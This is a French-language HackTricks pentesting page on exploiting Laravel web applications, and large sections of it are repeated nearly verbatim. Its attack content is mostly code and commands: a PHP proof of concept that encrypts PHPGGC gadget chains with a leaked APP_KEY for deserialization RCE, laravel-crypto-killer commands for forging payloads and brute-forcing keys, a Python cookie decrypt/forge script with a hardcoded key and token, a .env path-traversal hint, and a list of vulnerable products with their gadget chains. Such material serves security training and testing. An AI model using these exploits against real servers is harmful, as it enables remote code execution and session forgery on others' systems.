Laravel

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Laravel SQLInjection

Lisez des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (Illuminate\\Encryption\\Encrypter). Le texte chiffré brut qui est finalement envoyé au client est Base64 d'un objet JSON comme :

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) va serialize() le texte en clair par défaut, tandis que decrypt($payload, $unserialize=true) va automatiquement unserialize() la valeur décryptée. Par conséquent, tout attaquant qui connaît le secret de 32 octets APP_KEY peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injectez la chaîne produite dans n'importe quel point de decrypt() vulnérable (paramètre de route, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatise tout le processus et ajoute un mode bruteforce pratique :

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.


Modèles vulnérables dans le monde réel

ProjetSink vulnérableChaîne de gadgets
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)Cookie XSRF-TOKEN lorsque Passport::withCookieSerialization() est activéLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie → Cookie laravel_sessionLaravel/RCE15

Le flux de travail d'exploitation est toujours :

  1. Obtenir APP_KEY (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
  2. Générer un gadget avec PHPGGC
  3. laravel_crypto_killer.py encrypt …
  4. Livrer la charge utile via le paramètre/cookie vulnérable → RCE

Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN et généralement laravel_session), les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés qui peuvent être attaqués hors ligne.

Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :

  • Ensemble de données juillet 2024 » 580 k tokens, 3,99 % des clés craquées (≈23 k)
  • Ensemble de données mai 2025 » 625 k tokens, 3,56 % des clés craquées
  • 1 000 serveurs encore vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.

  • Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).

L'outil Go privé nounours pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.


Références

Astuces Laravel

Mode débogage

Si Laravel est en mode débogage, vous pourrez accéder au code et aux données sensibles.
Par exemple http://127.0.0.1:8000/profiles :

Ceci est généralement nécessaire pour exploiter d'autres CVE RCE Laravel.

.env

Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres informations d'identification dans un fichier appelé .env qui peut être accessible en utilisant un certain chemin de traversée sous : /../.env

Laravel affichera également cette information sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).

En utilisant la clé secrète APP_KEY de Laravel, vous pouvez déchiffrer et ré-encrypter les cookies :

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Désérialisation RCE

Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Ici, vous pouvez trouver des informations sur la vulnérabilité de désérialisation : https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Vous pouvez la tester et l'exploiter en utilisant https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ou vous pouvez également l'exploiter avec metasploit : use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Une autre désérialisation : https://github.com/ambionics/laravel-exploits

Laravel SQLInjection

Lisez des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel

Laravel SQLInjection

Lisez des informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Internes de chiffrement (Laravel \u003e=5.6)

Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (Illuminate\\Encryption\\Encrypter). Le texte chiffré brut qui est finalement envoyé au client est Base64 d'un objet JSON comme :

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) va serialize() le texte en clair par défaut, tandis que decrypt($payload, $unserialize=true) va automatiquement unserialize() la valeur décryptée. Par conséquent, tout attaquant qui connaît le secret de 32 octets APP_KEY peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injectez la chaîne produite dans n'importe quel point de decrypt() vulnérable (paramètre de route, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatise tout le processus et ajoute un mode bruteforce pratique :

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.


Modèles vulnérables dans le monde réel

ProjetSink vulnérableChaîne de gadgets
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)Cookie XSRF-TOKEN lorsque Passport::withCookieSerialization() est activéLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie → Cookie laravel_sessionLaravel/RCE15

Le flux d'exploitation est toujours :

  1. Obtenir APP_KEY (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
  2. Générer un gadget avec PHPGGC
  3. laravel_crypto_killer.py encrypt …
  4. Livrer la charge utile via le paramètre/cookie vulnérable → RCE

Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN et généralement laravel_session), les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés qui peuvent être attaqués hors ligne.

Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :

  • Ensemble de données juillet 2024 » 580 k tokens, 3,99 % des clés craquées (≈23 k)
  • Ensemble de données mai 2025 » 625 k tokens, 3,56 % des clés craquées
  • 1 000 serveurs toujours vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.

  • Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).

L'outil Go privé nounours pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.


Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks